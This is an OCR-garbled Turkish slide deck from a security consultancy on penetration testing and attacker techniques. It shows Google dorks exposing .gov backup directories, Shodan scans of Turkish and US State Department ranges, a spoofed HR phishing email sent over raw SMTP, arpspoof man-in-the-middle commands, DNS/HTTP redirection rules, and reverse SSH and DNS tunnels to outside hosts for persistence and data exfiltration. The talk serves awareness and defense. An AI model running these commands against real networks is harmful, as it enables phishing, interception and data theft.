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Hakkimda

Nebi Senol YILMAZ, CISA, CEH, ISO 27001 LA

Secrove Information Security Consulting
Bilgi Guvenligi Danismanligi
Bilgi Sistemleri Denetimi
Penetrasyon Testleri
Zafiyet Arastirmasi
Exploit Gelistirme
Bilgi Guvenligi Ar-Ge (Tubitak Destekli)
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anager, E-Bay Turkiye
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egulasyon

stemleri Yonetiminde Esas
in Teblig, 01.06.2010

emlerine lliskin Sizma Testleri
Genelgesi, 24.07.2012
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Regulasyon

e Aktif Cihazlar

ullanici Bilgisayarlar:
-Posta Servisleri

Veritabani Sistemleri

Web Uygulamalari

Mobil Uygulamalar

Kablosuz Ag Sistemleri

ATM Sistemleri

Dagitik Servis DisI Birakma Testler;
Sosyal Muhendislik Testleri
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Sizma Testi ?

ak,
IsinI olusturmak...

“Yapmis olmak icin...”, YAPILMAMALI
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Olmali ?

Ararina.
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Nasil Olmali ?

Saldirganda zaman kisiti bulunmuyor !!!
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an Neler Yapiyor ?

Gozardi edilen her nokta...
VoIP, Cagri sistemi, destek baglanti hatti, yedek sistemler

Alternatif giris yolu
Pos cihazlari
ATM cihazlari

Gmg icin her yol mubah...
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Neler Yapiyor ?

sitesi, dergi, gazete, whois, nslookup

aglama
Metasploit, telnet, sslstrip, dnstunnel, ssh, arpspoof

Erisimi Surdurme
Netcat, ssh

Saldiri Gizlemek
Ssh, dnstunnel
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Neler Yapiyor 7

; itle:"index of backup”
S|te gov intitle:index of secret
site:treasury.gov -www
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Saldirgan Neler Yapiyor 7

L 2 = . B https:/ /www.google.com.tr/#hl=en&tbo=d&output=search&sclient=psy-ab&qg=site:gov+-www&oq=site:gov+-

GOLngE site:gov -www

Web Images More ~ Search tools
About 149,000,000 results (0.18 seconds)

ADDS - Prog Charts Help Page (1 of 1
aviationweather.gov/adds/progs/description

30 Apr 2012 — ADDS - Prog Charts Help Page (1 of 1) Back to Prog Charts Page.
Legends for Prog Charts: Surface Front Symbols and Codes - Precipitation ...

City Clerk & Clerk of Council | City of Alexandria, VA
alexandriava.gov/CityClerk

24 Sep 2012 — The City Clerk is appointed by Council and serves as its secretary. The
Clerk prepares and distributes the docket for Council meetings and ...

Materials | Architect of the Capitol
aoc.gov » Explore Capitol Hill » Architecture
A description of the building materials used to create the US Capitol Building.

Montana Fish, Wildlife & Parks :: Recent News

fwp.mt.gov/news/

The Montana Fish, Wildlife & Parks Commission is seeking public comment on fishing
access site rules for camping fees, group use permits, facility rentals, and ...

HRRR Chem Model Fields

rapidrefresh.noaa.gov/hrrchemzeus/

20 Jun 2012 — The Rapid Refresh is a high-frequency weather forecast (numerical
weather prediction) and data assimilation system, planned to replace the ...

NASA Retiree

retiree.nasa.gov/
Search Home - Benefits at NASA - Careers at NASA - Human Capltal Program - NASA
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Saldirgan Neler Yapiyor 7

&= (’," . E'| https://www.google.com.tr/#hl=en&tbo=d&qg=site:gov+intitle:index+of+backup&sa=X&psj=1&ei=

GOUSIE site:gov intitle:index of backup

Web Images More ~ Search tools
About 88,200 results (0.22 seconds)

Index of /mesd/backup

www.csc.noaa.govimesd/backup/

Index of /mcsd/backup. [ICO], Name - Last modified - Size - Description. [DIR], Parent
Directory, -. Apache/2 Server at www.csc.ncaa.gov Port 80.

Indexing and Searching: Backing Up an Index Using the Command ...
www.ic.nc.gov/.../ota_ibrbackupcli_bg.html - United States

You can schedule backup processes for a data source using its backup manager, or
back up an index using the backup wizard. You can also use a command ...

Index of /images/backup
vision.|bl.gov/Images/backup/

Index of /Images/backup. Ilcon Mame Last modified Size Description. [DIR] Parent
Directory - [IMG] BieSig-off.jpg 23-Aug-2006 12:32 14K [IMG] BicSig-on.jpg ...

Index of /ubuntu/pool/universe/b/backup-manager/
mirror.pnl.gov/ubuntu/poolfuniverse/b/backup-manager/

backup-manager-doc_0.7.10.1-2_all.deb, 2012-May-15 07:34:43, 212.9K ... backup-
manager-doc_0.7.9-3_all.deb, 2010-Apr-12 07:04:53, 233.6K ...

B

www-css.fnal.gov/dsg/external/oracle.../backup.../index.htm

Oracle® Database Backup and Recovery Reference ... arguments to stored scripts, 2:
AS BACKUPSET parameter, BACKUP command, 2: AS COPY parameter, ...

Index of /home/fedpapers/backu
thomas.loc.gov/home/fedpapers/backup/
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Saldirgan Neler Yapiyor 7

= = | & https://www.google.com.tr/#h|=en&tbo=d&sclient=psy-ab&q=site:treasury.gov+-wwwioq=site:treasury.gov+-w

GOUg].E site:treasury.gov -www

Web Images More - Search tools
About 647 results (0.16 seconds)

Sign In

onlinefoia.treasury.gov/
Password Self Service | Reset Password | Unlock Password. This is a Department of
Treasury system. Department of Treasury computer systems are provided ...

About the Labs

irs.treasury.gov/labs/about

IRS.gov has launched this website as a place where we can test new products and
services before using themn on the official website. We are determined to ...

Default RecoveryData DailyTreasuryBillRateData ...

data.treasury.gov/
Default RecoveryData DailyTreasuryBillRateData Daily TreasuryLongTermRateData
Daily TreasuryRealYieldCurveRateData Daily TreasuryYieldCurveRateData ...

IRS Labs - Beta

irs.treasury.gov/labs/

Help Us Improve IRS.gov Search. Use the search box above to find information on the
IRS.gov website. Observations of how you use this search experience will ...

How to Participate
irs.treasury.gov/labs/participation

How can | participate in IRS Labs? The most important quality of a good search engine
is its “relevance." Relevance can be measured by the search engine's ...

IRS Auction - Sales Ad for Brownsville, TX
ipv6.treasury.gov/auctions/irs/brix_cryp_6453.htm
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Neler Yapiyor ?

lim.

qovVv
:169.252.0.0/15

Kimlik gizlemek onemli...
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http://www.state.gov/

Saldirgan Neler Yapiyor ?

E] www.shodanhg.com/search?q=country%3Atr+

*% SHODAN countrytr Search

#

Home Search Directory Data Analytics/ Exports vl:lwnlnpar Center Labs

+ Add to Directory | il Export Data

85.105.209.100
1,471,866 Turk Talekom o 220 aldoracom tr ESMTP MDacemon 8.1.3; Sun, 23 Dec 2012 10:24:51 40200

Addad
451,689 Kayseri
67,944 Details
45408
42615

mail.aldora.com.tr

78.185.3.37

Turk Telekom 5 Wireless ADSL Gateway

Top Cities
Istanbul 674,944 stanbul
Ankara 241,521
Lzmir 164,508
Bursa B4,791

Antalya AL 88.248.116.219

Linux 2.6.x NetBIOS <unknowns>
Turk Telekom

Top Organizations

Turk Telekom 604,496
Turksat Uydu-Net Internet 51,678
Dogan lletisim Elektro... 34,178 dsl88-248-29915. tinet.net.ir

Turksat Uydu Haberlesm... 20,148

Turksat Cable TVandl. 14,363 KON MosRG
; $1 'i'?'f“:'zw HTTP/1.0 401 Unauthorized
uri alekom
A WWW-Authenticate: Basic realm="TD-EE40T"
B Ankara Content-Type: text’html

Detalls Transfer-Encoding: chunked

Server: RomPager/4.07 UPnP/1 .0

O Secrove Information Security Consulting 19



Saldirgan Neler Yapiyor ?

&~ G . D www.shodanhg.com/search?q=country®%3Atr+port%3A22 +server’3Assh-1

*s SHODAN

country:tr port;22 server:ssh-1 Search

Search Directory Developer Center Labs

Data Analytics/ Exports

4 Add to Directory =~ ill Export Data

Top Cities 195.175.72.85

Turl COH-1 99-Server- VL Ty
lzmir . S5H-1.99-Server-VII-hpnl3vl

Istanbul

Top Organizations

Akamal Servers Located...
Turk Telekom 4 195.175.69.13
Linux recent 2.4 8SH-1 99-Server-V
Vodafone Turkey 3G IP ... Akamal Servers Located in Turkey SSH-1.99-Server-V
Added on 18.1 12

Details

78.188.77.107

Turk Telek i S5H-1.5-CPX S5H Server
Added on 1 12

Bl istanbul
Datails

dslT8.188-19810.tinet.net.tr

195.175.69.55

Linux 2.4.x 55H-1.99-Scrver-VI
Akamal Servers Located in Turkey

Added on 16.1 12

Detalls
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Saldirgan Neler Yapiyor ?

€ =2 C [ www.shodanhg.com/search?q=ne

*% SHODAN net:168.252.0.0115

Home

<+ Add to Directory

Services
HTTP
S5H
HTTP Alternate
NetBIOS
FTP

Top Countries
United States

Top Cities

Washington
Dulles

Springfield
Herndon

Top Organizations
U.s. Department Of State

Search Directory

Data Analytics/ Exports

ill Export Data

ERROR: Access Denied

168.252.7.86
U.s. Department Of State
Add 2

ERROR: Access Denied

169.252.7.138

U.s. Department Of State
Add 2
S Washington

Datalls

169.253.192.45
HPUX 10.20

U.s. Department OF State
Audd

E Washingtan
Details

ERROR: Access Denied
1689.252.110.34
U.s. Department Of State

Ay
E Washingtan

A169.252.0

Search

Developer Center Labs

HTTP/1.0 403 Forbidden
Content-Type: texthtml
Connection: close

Content-Length: 353

HTTF/1 .0 403 Forbidden
Content-Type: texthtml
Connection: close

Content-Length: 353

HTTPE1 .0 302 Found

Location: https://169.253.192 .45/
Server: BiglP

Connection: Keep-Alive

Content-Length: 0

HTTP .0 403 Forbidden
Content-Type: textthtml

Connection: close

Secrove Information Security Consulting
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eler Yapiyor ?

SAN...
Im ediyor :)

biliyor...

254
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Saldirgan Neler Yapiyor 7

eco ... @n¢syimaz_ syilmaz@mangrove; ~ —ss

syllmaz@mangrove:~% telnet mx.yandex.ru 25

Trying 93.158.134.89...

Connected to mx.yvandex.ru.

Escape character is '*]"'.

228 mufrontlm.mail.yandex.net {(Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru)
helo test

258 mxfrontlm.mail.vandex.net

mail from:yok@yok.com

258 2.1.8 <yok@yok.com= ok

rcpt to:nsyilmaz@yandex.com

250 2.1.5 =nsyilmaz@gyandex.com= recipient ok

data

354 Enter mail, end with "." on a line by itself
Subject:2813 Terfi Listesi

From:Insan Kaynaklari =insankaynaklarigyandex.com=
To:nsyilmaz@yandex.com

Content-Type: text/html;

Terfi listesine asagidaki linkten ulasabilirsiniz...
<hr=

<a href="http://www.secrove.com/'=2013 Terfi Listesi</a»
=hr=

=hr=

Yandex Insan Kaynaklari

250 Z2.0.8 Dk: queuwed on mxfrontlm.mail.yandex.net as oCnSUCaT-oNnBudCH

O Secrove Information Security Consulting
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Saldirgan Neler Yapiyor ?

< C | @ https://mail.yandex.com.tr/neo2/#inbox

g\%ndex.

;-w._.l

=] Inbox Compose Checkmail Forward Delete  Spam!

Métrica [ ]
Sent [ ~ Insan Kaynaklari 2013 Terfi Listesi Terfi listesine asagids
Trash
Spam
Drafts

customize...

= Flagged Unread 1
& Attachments

Add mailbox @ £7

o -+ Secrove Information Security Consulting 24



Saldirgan Neler Yapiyor 7

« - . B https://mail.yandex.com.tr/nea2/#message /2290000001129681389

\%nqex

; . I

Metrica
Sent
Trash
Spam
Drafts

customize...

= Flagged Unread
& Attachments

_ Add mailbox @t £ )

r

Yandex'te
video

Messages

W
~ Compose Checkmail Reply Forward Delete Spam!

2013 Terfi Listesi

n Insan Kaynaklari <insankaynaklari@yandex.com>

To nsyilmaz @yandex.com

Translate Create filter Message headers

Terfi listesine asagidaki linkten ulasabilirsiniz...
2013 Terfi Listesi

Yandex Insan Kaynaklari

Reply all =5 Forward

Wirite your reply here

O Secrove Information Security Consulting
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eler Yapiyor ?

ploit Ornegi...

http://www.youtube.com/watch?v=IKsdHQTD34w

OOO 0" . . .
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Neler Yapiyor ?

llanarak daha neler yapabilir?
agi ele gecirir.

Ini ogrenir.

Uygulama orneqi...
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http://www.ecobank.com/

Neler Yapiyor ?

IT.

tekleri istedigi adrese yonlendirir.

<><><> <><>0 : . .
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Saldirgan Neler Yapiyor 7

Hozl A" & MAC
address has changed « =

O Secrove Information Security Consulting
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#'binsbash -wv
sysct]l -w net,ipvd.ip_forward=1

arpspoof -t 10.0.0.£ 10.0.0.1 &

rpspoof -t 10.0.0.1 10.0.0.2 &

b 5 5 o
« s Secrove Information Security Consulting
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BT [Runnin
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aplyor ?

BT [Running]
Y binsbash -v

iptables -t nat -F
iptables -t nat -A FRERDUTING -p udp —-dport 53 -j DNAT ——to-destination 8.6.5.8

iptables -t nat -A PREROUTING -p tcp —-dport BO -j DNAT ——to-destination 85.17.183.1%4

b 5 5 o
A Secrove Information Security Consulting
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Saldirgan Neler Yapiyor 7

Ele gecirmis oldugu bilgisayar veya agdaki erisimin devamliligini
saglayacaktir, backdoor yerlestirecektir.

Bu kanal uzerinden veri sizdirmasini da saglayacaktir.

SSH Tunnel
ssh -R5555:localhost:22

O Secrove Information Security Consulting
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Saldirgan Neler Yapiyor 7

Peki ic agdan disariya dogru SSH trafigi bloklanmigsa®?

DNS Tunnel
dns2tcpc -z tunnel.systool.org 85.17.183.194 -c -r ssh -1 4430

O Secrove Information Security Consulting 33



Ozet

luluktan degil ihtiyactan

Isunulerek gercekgi

Bulgularin kurumun yararina oldugu
anlasiimalidir.

& 22 5 5 o
< s Secrove Information Security Consulting
TINSE

34



urler !

senol.yilmaz@secrove.com
"€ @nsyilmaz
nsyilmaz

00. .‘0 N . .
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